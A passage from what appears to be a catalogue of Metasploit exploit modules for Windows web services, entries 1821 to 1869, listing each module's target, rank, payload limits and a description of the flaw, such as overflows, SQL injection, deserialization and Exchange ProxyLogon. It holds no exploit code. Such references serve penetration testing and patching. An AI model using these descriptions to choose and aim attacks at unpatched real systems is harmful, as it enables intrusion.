       Rank: Average
  Disclosed: 2005-10-06

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a vulnerability in the Computer Associates
  iTechnology iGateway component. When <Debug>True</Debug> is enabled
  in igateway.conf (non-default), it is possible to overwrite the
stack
  and execute code remotely. This module works best with Ordinal
payloads.

End Exploit Number 1821

Begin Exploit Number 1822
       Name: CA Total Defense Suite reGenerateReports Stored Procedure
SQL Injection
     Module: exploit/windows/http/ca_totaldefense_regeneratereports
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-04-13

Payload information:
```

```
Description:
  This module exploits a SQL injection flaw in CA Total Defense Suite
R12.
  When supplying a specially crafted soap request to '/UNCWS/
Management.asmx', an
  attacker can abuse the reGenerateReports stored procedure by
injecting arbitrary sql
  statements into the ReportIDs element.

End Exploit Number 1822

Begin Exploit Number 1823
       Name: Cayin xPost wayfinder_seqid SQLi to RCE
     Module: exploit/windows/http/cayin_xpost_sql_rce
   Platform: Java, Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-04

Payload information:
  Space: 2000

Description:
  This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.
The
  wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be
injected
  with a blind SQLi.  Since this app bundles MySQL and apache Tomcat
the
  environment is pretty static and therefore the default settings
should
  work.  Results in SYSTEM level access.
  Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp
payloads
  seem to be valid.

End Exploit Number 1823

Begin Exploit Number 1824
       Name: Cogent DataHub Command Injection
     Module: exploit/windows/http/cogent_datahub_command
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-04-29
```

```
Payload information:

Description:
  This module exploits an injection vulnerability in Cogent DataHub 
prior
  to 7.3.5. The vulnerability exists in the GetPermissions.asp page, 
which
  makes insecure use of the datahub_command function with user 
controlled
  data, allowing execution of arbitrary datahub commands and scripts. 
This
  module has been tested successfully with Cogent DataHub 7.3.4 on
  Windows 7 SP1. Please also note that after exploitation, the remote 
service
  will most likely hang and restart manually.

End Exploit Number 1824

Begin Exploit Number 1825
       Name: Cogent DataHub HTTP Server Buffer Overflow
     Module: exploit/windows/http/cogent_datahub_request_headers_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-26

Payload information:
  Space: 33692
  Avoid: 4 characters

Description:
  This module exploits a stack based buffer overflow on Cogent DataHub 
7.3.0. The
  vulnerability exists in the HTTP server. While handling HTTP 
headers, a
  strncpy() function is used in a dangerous way. This module has been 
tested
  successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.

End Exploit Number 1825

Begin Exploit Number 1826
       Name: ColdFusion 8.0.1 Arbitrary File Upload and Execute
     Module: exploit/windows/http/coldfusion_fckeditor
   Platform: Windows
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-07-03

Payload information:

Description:
  This module exploits the Adobe ColdFusion 8.0.1 FCKeditor
'CurrentFolder' File Upload
  and Execute vulnerability.

End Exploit Number 1826

Begin Exploit Number 1827
       Name: Cyclope Employee Surveillance Solution v6 SQL Injection
     Module: exploit/windows/http/cyclope_ess_sqli
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-08

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a SQL injection found in Cyclope Employee
Surveillance
  Solution.  Because the login script does not properly handle the
user-supplied
  username parameter, a malicious user can manipulate the SQL query,
and allows
  arbitrary code execution under the context of 'SYSTEM'.

End Exploit Number 1827

Begin Exploit Number 1828
       Name: ManageEngine Desktop Central Java Deserialization
     Module: exploit/windows/http/desktopcentral_deserialization
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-03-05

Payload information:

Description:
  This module exploits a Java deserialization vulnerability in the
  getChartImage() method from the FileStorage class within
ManageEngine
  Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

  Quoting the vendor's advisory on fixed versions:

  "The short-term fix for the arbitrary file upload vulnerability was
  released in build 10.0.474 on January 20, 2020. In continuation of
  that, the complete fix for the remote code execution vulnerability
is
  now available in build 10.0.479."

End Exploit Number 1828

Begin Exploit Number 1829
       Name: ManageEngine Desktop Central AgentLogUpload Arbitrary
File Upload
     Module: exploit/windows/http/desktopcentral_file_upload
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-11

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability in
Desktop Central v7 to
  v8 build 80293. A malicious user can upload a JSP file into the web
root without
  authentication, leading to arbitrary code execution as SYSTEM.

End Exploit Number 1829

Begin Exploit Number 1830
       Name: ManageEngine Desktop Central StatusUpdate Arbitrary File
Upload
     Module: exploit/windows/http/desktopcentral_statusupdate_upload
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-31

Payload information:
```

```
Description:
  This module exploits an arbitrary file upload vulnerability in
ManageEngine DesktopCentral
  v7 to v9 build 90054 (including the MSP versions).
  A malicious user can upload a JSP file into the web root without
authentication, leading to
  arbitrary code execution as SYSTEM. Some early builds of version 7
are not exploitable as
  they do not ship with a bundled Java compiler.

End Exploit Number 1830

Begin Exploit Number 1831
       Name: Disk Pulse Enterprise Login Buffer Overflow
     Module: exploit/windows/http/disk_pulse_enterprise_bof
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-10-03

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Disk Pulse
Enterprise
  9.0.34. If a malicious user sends a malicious HTTP login request,
  it is possible to execute a payload that would run under the Windows
  NT AUTHORITY\SYSTEM account. Due to size constraints, this module
  uses the Egghunter technique.

End Exploit Number 1831

Begin Exploit Number 1832
       Name: Disk Pulse Enterprise GET Buffer Overflow
     Module: exploit/windows/http/disk_pulse_enterprise_get
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-25

Payload information:
  Avoid: 4 characters

Description:
  This module exploits an SEH buffer overflow in Disk Pulse Enterprise
  9.9.16. If a malicious user sends a crafted HTTP GET request
  it is possible to execute a payload that would run under the Windows
  NT AUTHORITY\SYSTEM account.

End Exploit Number 1832

Begin Exploit Number 1833
       Name: DiskBoss Enterprise GET Buffer Overflow
     Module: exploit/windows/http/diskboss_get_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-05

Payload information:
  Space: 2000
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and
v8.2.14,
  caused by improper bounds checking of the request path in HTTP GET
  requests sent to the built-in web server. This module has been
  tested successfully on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1833

Begin Exploit Number 1834
       Name: DiskSavvy Enterprise GET Buffer Overflow
     Module: exploit/windows/http/disksavvy_get_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-01

Payload information:
  Space: 500
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
  caused by improper bounds checking of the request path in HTTP GET
  requests sent to the built-in web server. This module has been
  tested successfully on Windows XP SP3 and Windows 7 SP1.
```

```
End Exploit Number 1834

Begin Exploit Number 1835
       Name: Disk Sorter Enterprise GET Buffer Overflow
     Module: exploit/windows/http/disksorter_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-03-15

Payload information:
  Space: 500
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of Disk Sorter Enterprise v9.5.12, caused by
  improper bounds checking of the request path in HTTP GET requests
  sent to the built-in web server. This module has been tested
  successfully on Windows 7 SP1 x86.

End Exploit Number 1835

Begin Exploit Number 1836
       Name: D-Link Central WiFi Manager CWM(100) RCE
     Module: exploit/windows/http/dlink_central_wifimanager_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-07-09

Payload information:

Description:
  This module exploits a PHP code injection vulnerability in D-Link
Central WiFi Manager CWM(100)
  versions below `v1.03R0100_BETA6`. The vulnerability exists in the
  username cookie, which is passed to `eval()` without being
sanitized.
  Dangerous functions are not disabled by default, which makes it
possible
  to get code execution on the target.

End Exploit Number 1836
```

```
Begin Exploit Number 1837
       Name: DotNetNuke Cookie Deserialization Remote Code Excecution
     Module: exploit/windows/http/dnn_cookie_deserialization_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-20

Payload information:

Description:
  This module exploits a deserialization vulnerability in DotNetNuke
(DNN) versions 5.0.0 to 9.3.0-RC.
  Vulnerable versions store profile information for users in the
DNNPersonalization cookie as XML.
  The expected structure includes a "type" attribute to instruct the
server which type of object to create on deserialization.
  The cookie is processed by the application whenever it attempts to
load the current user's profile data.
  This occurs when DNN is configured to handle 404 errors with its
built-in error page (default configuration).
  An attacker can leverage this vulnerability to execute arbitrary
code on the system.

End Exploit Number 1837

Begin Exploit Number 1838
       Name: Dup Scout Enterprise Login Buffer Overflow
     Module: exploit/windows/http/dup_scout_enterprise_login_bof
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-11-14

Payload information:
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Dup Scout Enterprise
  versions <= 10.0.18. The buffer overflow exists via the web
interface
  during login. This gives NT AUTHORITY\SYSTEM access.

  This module has been tested successfully on Dup Scout Enterprise
  versions:
```

```
  9.9.14 on Windows 7 SP1 (x64);
  9.9.14 on Windows XP SP0 (x64);
  10.0.18 on Windows 7 SP1 (x64);
  10.0.18 on Windows XP SP0 (x86); and
  10.0.18 on Windows 10 (1909) (x64).

End Exploit Number 1838

Begin Exploit Number 1839
       Name: Dup Scout Enterprise GET Buffer Overflow
     Module: exploit/windows/http/dupscts_bof
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-03-15

Payload information:
  Space: 500
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of Dup Scout Enterprise versions <= 10.0.18,
  caused by improper bounds checking of the request path in HTTP GET
  requests sent to the built-in web server which can be leveraged
  to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.

  This module supports x86 versions of Dup Scout Enterprise and x86
  Windows operating systems only and has been tested successfully on
  Windows 7 SP1 (x86) and Windows XP SP0 (x86).

End Exploit Number 1839

Begin Exploit Number 1840
       Name: Easy Chat Server User Registeration Buffer Overflow (SEH)
     Module: exploit/windows/http/easychatserver_seh
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-10-09

Payload information:
  Avoid: 14 characters

Description:
  This module exploits a buffer overflow during user registration in
```

```
Easy Chat Server software.

End Exploit Number 1840

Begin Exploit Number 1841
       Name: Easy File Sharing HTTP Server 7.2 POST Buffer Overflow
     Module: exploit/windows/http/easyfilesharing_post
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-06-12

Payload information:
  Avoid: 14 characters

Description:
  This module exploits a POST buffer overflow in the Easy File Sharing
FTP Server 7.2 software.

End Exploit Number 1841

Begin Exploit Number 1842
       Name: Easy File Sharing HTTP Server 7.2 SEH Overflow
     Module: exploit/windows/http/easyfilesharing_seh
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-12-02

Payload information:
  Space: 390
  Avoid: 14 characters

Description:
  This module exploits a SEH overflow in the Easy File Sharing FTP
Server 7.2 software.

End Exploit Number 1842

Begin Exploit Number 1843
       Name: EasyFTP Server list.html path Stack Buffer Overflow
     Module: exploit/windows/http/easyftp_list
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2010-02-18

Payload information:
  Space: 256
  Avoid: 15 characters

Description:
  This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11
  and earlier. EasyFTP fails to check input size when parsing the
'path' parameter
  supplied to an HTTP GET request, which leads to a stack based buffer
overflow.
  EasyFTP allows anonymous access by default; valid credentials are
typically
  unnecessary to exploit this vulnerability.

  After version 1.7.0.12, this package was renamed "UplusFtp".

  Due to limited space, as well as difficulties using an egghunter,
the use of
  staged, ORD, and/or shell payloads is recommended.

End Exploit Number 1843

Begin Exploit Number 1844
       Name: Novell eDirectory NDS Server Host Header Overflow
     Module: exploit/windows/http/edirectory_host
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-10-21

Payload information:
  Space: 600
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in Novell eDirectory
8.8.1.
  The web interface does not validate the length of the
  HTTP Host header prior to using the value of that header in an
  HTTP redirect.

End Exploit Number 1844

Begin Exploit Number 1845
```

```
       Name: eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow
     Module: exploit/windows/http/edirectory_imonitor
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Great
  Disclosed: 2005-08-11

Payload information:
  Space: 4150
  Avoid: 26 characters

Description:
  This module exploits a stack buffer overflow in eDirectory 8.7.3 
  iMonitor service. This vulnerability was discovered by Peter 
  Winter-Smith of NGSSoftware.

  NOTE: repeated exploitation attempts may cause eDirectory to crash. 
It does
  not restart automatically in a default installation.

End Exploit Number 1845

Begin Exploit Number 1846
       Name: EFS Easy Chat Server Authentication Request Handling 
Buffer Overflow
     Module: exploit/windows/http/efs_easychatserver_username
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2007-08-14

Payload information:
  Space: 7000
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in EFS Software Easy 
Chat
  Server versions 2.0 to 3.1. By sending an overly long authentication 
  request, an attacker may be able to execute arbitrary code.

End Exploit Number 1846

Begin Exploit Number 1847
       Name: Easy File Management Web Server Stack Buffer Overflow
     Module: exploit/windows/http/efs_fmws_userid_bof
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-20

Payload information:
  Space: 3420
  Avoid: 4 characters

Description:
  Easy File Management Web Server v4.0 and v5.3 contains a stack
buffer
  overflow condition that is triggered as user-supplied input is not
  properly validated when handling the UserID cookie. This may allow a
  remote attacker to execute arbitrary code.

End Exploit Number 1847

Begin Exploit Number 1848
       Name: Ektron 8.02 XSLT Transform Remote Code Execution
     Module: exploit/windows/http/ektron_xslt_exec
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-16

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in Ektron CMS 8.02 (before
SP5). The
  vulnerability exists due to the insecure usage of
XslCompiledTransform, using a
  XSLT controlled by the user. The module has been tested successfully
on Ektron CMS
  8.02 over Windows 2003 SP2, which allows to execute arbitrary code
with NETWORK
  SERVICE privileges.

End Exploit Number 1848

Begin Exploit Number 1849
       Name: Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution
     Module: exploit/windows/http/ektron_xslt_exec_ws
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-05

Payload information:
  Space: 2048

Description:
  Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
  vulnerabilities in various operations within the
ServerControlWS.asmx
  web services. These vulnerabilities allow for RCE without
authentication and
  execute in the context of IIS on the remote system.

End Exploit Number 1849

Begin Exploit Number 1850
       Name: Ericom AccessNow Server Buffer Overflow
     Module: exploit/windows/http/ericom_access_now_bof
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-06-02

Payload information:
  Space: 4096
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow in Ericom
AccessNow Server. The
  vulnerability is due to an insecure usage of vsprintf with user
controlled data,
  which can be triggered with a malformed HTTP request. This module
has been tested
  successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3
and Windows 2003
  Server SP2.

End Exploit Number 1850

Begin Exploit Number 1851
       Name: Microsoft Exchange Server ChainedSerializationBinder RCE
     Module: exploit/windows/http/
exchange_chainedserializationbinder_rce
```

```
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09

Payload information:

Description:
  This module exploits vulnerabilities within the
ChainedSerializationBinder as used in
  Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange
Server 2016 CU21, and
  Exchange Server 2016 CU22 all prior to Mar22SU.

  Note that authentication is required to exploit these
vulnerabilities.

End Exploit Number 1851

Begin Exploit Number 1852
       Name: Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE
     Module: exploit/windows/http/exchange_ecp_dlp_policy
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-12

Payload information:

Description:
  This vulnerability allows remote attackers to execute arbitrary code
  on affected installations of Exchange Server. Authentication is
  required to exploit this vulnerability. Additionally, the target
user
  must have the "Data Loss Prevention" role assigned and an active
  mailbox.

  If the user is in the "Compliance Management" or greater
"Organization
  Management" role groups, then they have the "Data Loss Prevention"
  role. Since the user who installed Exchange is in the "Organization
  Management" role group, they transitively have the "Data Loss
  Prevention" role.

  The specific flaw exists within the processing of the New-DlpPolicy
  cmdlet. The issue results from the lack of proper validation of
  user-supplied template data when creating a DLP policy. An attacker
  can leverage this vulnerability to execute code in the context of
  SYSTEM.

  Tested against Exchange Server 2016 CU19 on Windows Server 2016.

End Exploit Number 1852

Begin Exploit Number 1853
       Name: Exchange Control Panel ViewState Deserialization
     Module: exploit/windows/http/exchange_ecp_viewstate
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-11

Payload information:

Description:
  This module exploits a .NET serialization vulnerability in the
  Exchange Control Panel (ECP) web page. The vulnerability is due to
  Microsoft Exchange Server not randomizing the keys on a
  per-installation basis resulting in them using the same
validationKey
  and decryptionKey values. With knowledge of these values, an
attacker
  can craft a special ViewState to cause an OS command to be executed
  by NT_AUTHORITY\SYSTEM using .NET deserialization.

End Exploit Number 1853

Begin Exploit Number 1854
       Name: Microsoft Exchange ProxyLogon RCE
     Module: exploit/windows/http/exchange_proxylogon_rce
   Platform: Windows
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-02

Payload information:

Description:
  This module exploit a vulnerability on Microsoft Exchange Server
that
  allows an attacker bypassing the authentication, impersonating as
the
```

```
  admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to 
get
  the RCE (Remote Code Execution).

  By taking advantage of this vulnerability, you can execute arbitrary
  commands on the remote Microsoft Exchange Server.

  This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
  Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 
15.01.2176.009,
  Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 
15.02.0792.010).

  All components are vulnerable by default.

End Exploit Number 1854

Begin Exploit Number 1855
       Name: Microsoft Exchange ProxyNotShell RCE
     Module: exploit/windows/http/exchange_proxynotshell_rce
   Platform: Windows
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-09-28

Payload information:

Description:
  This module chains two vulnerabilities on Microsoft Exchange Server
  that, when combined, allow an authenticated attacker to interact 
with
  the Exchange Powershell backend (CVE-2022-41040), where a
  deserialization flaw can be leveraged to obtain code execution
  (CVE-2022-41082). This exploit only support Exchange Server 2019.

  These vulnerabilities were patched in November 2022.

End Exploit Number 1855

Begin Exploit Number 1856
       Name: Microsoft Exchange ProxyShell RCE
     Module: exploit/windows/http/exchange_proxyshell_rce
   Platform: Windows
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-04-06
```

```
Payload information:

Description:
  This module exploits a vulnerability on Microsoft Exchange Server 
that
  allows an attacker to bypass the authentication (CVE-2021-31207), 
impersonate an
  arbitrary user (CVE-2021-34523) and write an arbitrary file 
(CVE-2021-34473) to achieve
  the RCE (Remote Code Execution).

  By taking advantage of this vulnerability, you can execute arbitrary
  commands on the remote Microsoft Exchange Server.

  This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
  Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
  Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.

  All components are vulnerable by default.

End Exploit Number 1856

Begin Exploit Number 1857
       Name: EZHomeTech EzServer Stack Buffer Overflow Vulnerability
     Module: exploit/windows/http/ezserver_http
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-18

Payload information:
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in the EZHomeTech 
EZServer
  for versions 6.4.017 and earlier. If a malicious user sends packets
  containing an overly long string, it may be possible to execute a
  payload remotely. Due to size constraints, this module uses the
  Egghunter technique.

End Exploit Number 1857

Begin Exploit Number 1858
       Name: Free Download Manager Remote Control Server Buffer 
Overflow
     Module: exploit/windows/http/fdm_auth_header
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-02-02

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in Free Download 
Manager
  Remote Control 2.5 Build 758. When sending a specially crafted
  Authorization header, an attacker may be able to execute arbitrary 
code.

End Exploit Number 1858

Begin Exploit Number 1859
       Name: File Sharing Wizard - POST SEH Overflow
     Module: exploit/windows/http/file_sharing_wizard_seh
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-09-24

Payload information:
  Avoid: 2 characters

Description:
  This module exploits an unauthenticated HTTP POST SEH-based buffer 
overflow in File Sharing Wizard 1.5.0.

End Exploit Number 1859

Begin Exploit Number 1860
       Name: FlexDotnetCMS Arbitrary ASP File Upload
     Module: exploit/windows/http/flexdotnetcms_upload_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-28

Payload information:
```

```
Description:
  This module exploits an arbitrary file upload vulnerability in
  FlexDotnetCMS v1.5.8 and prior in order to execute arbitrary
  commands with elevated privileges.

  The module first tries to authenticate to FlexDotnetCMS via an HTTP
  POST request to `/login`. It then attempts to upload a random TXT
  file and subsequently uses the FlexDotnetCMS file editor to rename
  the TXT file to an ASP file. If this succeeds, the target is
  vulnerable and the ASP file is generated as a copy of the TXT file,
  which remains on the server.

  Next, the module sends another request to rename the TXT file to an
  ASP file, this time adding the payload. Finally, the module tries
  to execute the ASP payload via a simple HTTP GET request to
  `/media/uploads/asp_payload`

  Valid credentials for a FlexDotnetCMS user with permissions to use
  the FileManager are required. This module has been successfully
  tested against FlexDotnetCMS v1.5.8 running on Windows Server 2012.

End Exploit Number 1860

Begin Exploit Number 1861
       Name: FortiNet FortiClient Endpoint Management Server FCTID
SQLi to RCE
     Module: exploit/windows/http/forticlient_ems_fctid_sqli
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-04-21

Payload information:

Description:
  An SQLi injection vulnerability exists in FortiNet FortiClient EMS
(Endpoint Management Server).
  FortiClient EMS serves as an endpoint management solution tailored
for enterprises, offering a centralized
  platform for overseeing enrolled endpoints. The SQLi is
vulnerability is due to user controller strings which
  can be sent directly into database queries.

  FcmDaemon.exe is the main service responsible for communicating with
enrolled clients. By default it listens on port 8013
  and communicates with FCTDas.exe which is responsible for
translating requests and sending them to the database.
```

```
  In the message header of a specific request sent between the two
services, the FCTUID parameter is vulnerable
  SQLi. The SQLi can used to enable the xp_cmdshell which can then be
used to obtain unauthenticated remote code
  execution in the context of NT AUTHORITY\SYSTEM

  Affected versions of FortiClient EMS include:
  7.2.0 through 7.2.2
  7.0.1 through 7.0.10

  Upgrading to either 7.2.3, 7.0.11 or above is recommended by
FortiNet.

  It should be noted that in order to be vulnerable, at least one
endpoint needs to be enrolled / managed by FortiClient
  EMS for the necessary vulnerable services to be available.

End Exploit Number 1861

Begin Exploit Number 1862
       Name: FortiLogger Arbitrary File Upload Exploit
     Module: exploit/windows/http/fortilogger_arbitrary_fileupload
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-02-26

Payload information:

Description:
  This module exploits an unauthenticated arbitrary file upload
  via insecure POST request. It has been tested on versions < 5.2.0 in
  Windows 10 Enterprise.

End Exploit Number 1862

Begin Exploit Number 1863
       Name: Generic Web Application DLL Injection
     Module: exploit/windows/http/generic_http_dll_injection
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-03-04

Payload information:
  Space: 2048
```

```
Description:
  This is a general-purpose module for exploiting conditions where a
HTTP request
  triggers a DLL load from an specified SMB share. This module serves
payloads as
  DLLs over an SMB service and allows an arbitrary HTTP URL to be
called that would
  trigger the load of the DLL.

End Exploit Number 1863

Begin Exploit Number 1864
       Name: Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE
     Module: exploit/windows/http/geutebrueck_gcore_x64_rce_bo
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-01-24

Payload information:
  Space: 2000

Description:
  This module exploits a stack Buffer Overflow in the GCore server
(GCoreServer.exe).
  The vulnerable webserver is running on Port 13003 and Port 13004,
does not require
  authentication and affects all versions from 2003 till July 2016
(Version 1.4.YYYYY).

End Exploit Number 1864

Begin Exploit Number 1865
       Name: Git Remote Code Execution via git-lfs (CVE-2020-27955)
     Module: exploit/windows/http/git_lfs_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-04

Payload information:

Description:
  A critical vulnerability (CVE-2020-27955) in Git Large File Storage
(Git LFS), an open source Git extension for
```

```
  versioning large files, allows attackers to achieve remote code
execution if the Windows-using victim is tricked
  into cloning the attacker’s malicious repository using a vulnerable
Git version control tool

End Exploit Number 1865

Begin Exploit Number 1866
       Name: GitStack Unsanitized Argument RCE
     Module: exploit/windows/http/gitstack_rce
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-01-15

Payload information:

Description:
  This module exploits a remote code execution vulnerability that
  exists in GitStack through v2.3.10, caused by an unsanitized
argument
  being passed to an exec function call. This module has been tested
  on GitStack v2.3.10.

End Exploit Number 1866

Begin Exploit Number 1867
       Name: HP AutoPass License Server File Upload
     Module: exploit/windows/http/hp_autopass_license_traversal
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-01-10

Payload information:

Description:
  This module exploits a code execution flaw in HP AutoPass License
Server. It abuses two
  weaknesses in order to get its objective. First, the AutoPass
application doesn't enforce
  authentication in the CommunicationServlet component. Second, it's
possible to abuse a
  directory traversal when uploading files thorough the same
component, allowing to upload
  an arbitrary payload embedded in a JSP. The module has been tested
```

```
successfully on
  HP AutoPass License Server 8.01 as installed with HP Service
Virtualization 3.50.

End Exploit Number 1867

Begin Exploit Number 1868
       Name: HP Intelligent Management Center BIMS UploadServlet
Directory Traversal
     Module: exploit/windows/http/hp_imc_bims_upload
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-08

Payload information:

Description:
  This module exploits a directory traversal vulnerability on the
version 5.2 of the BIMS
  component from the HP Intelligent Management Center. The
vulnerability exists in the
  UploadServlet, allowing the user to download and upload arbitrary
files. This module has
  been tested successfully on HP Intelligent Management Center with
BIMS 5.2 E0401 on Windows
  2003 SP2.

End Exploit Number 1868

Begin Exploit Number 1869
       Name: HP Intelligent Management Java Deserialization RCE
     Module: exploit/windows/http/hp_imc_java_deserialize
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-03

Payload information:

Description:
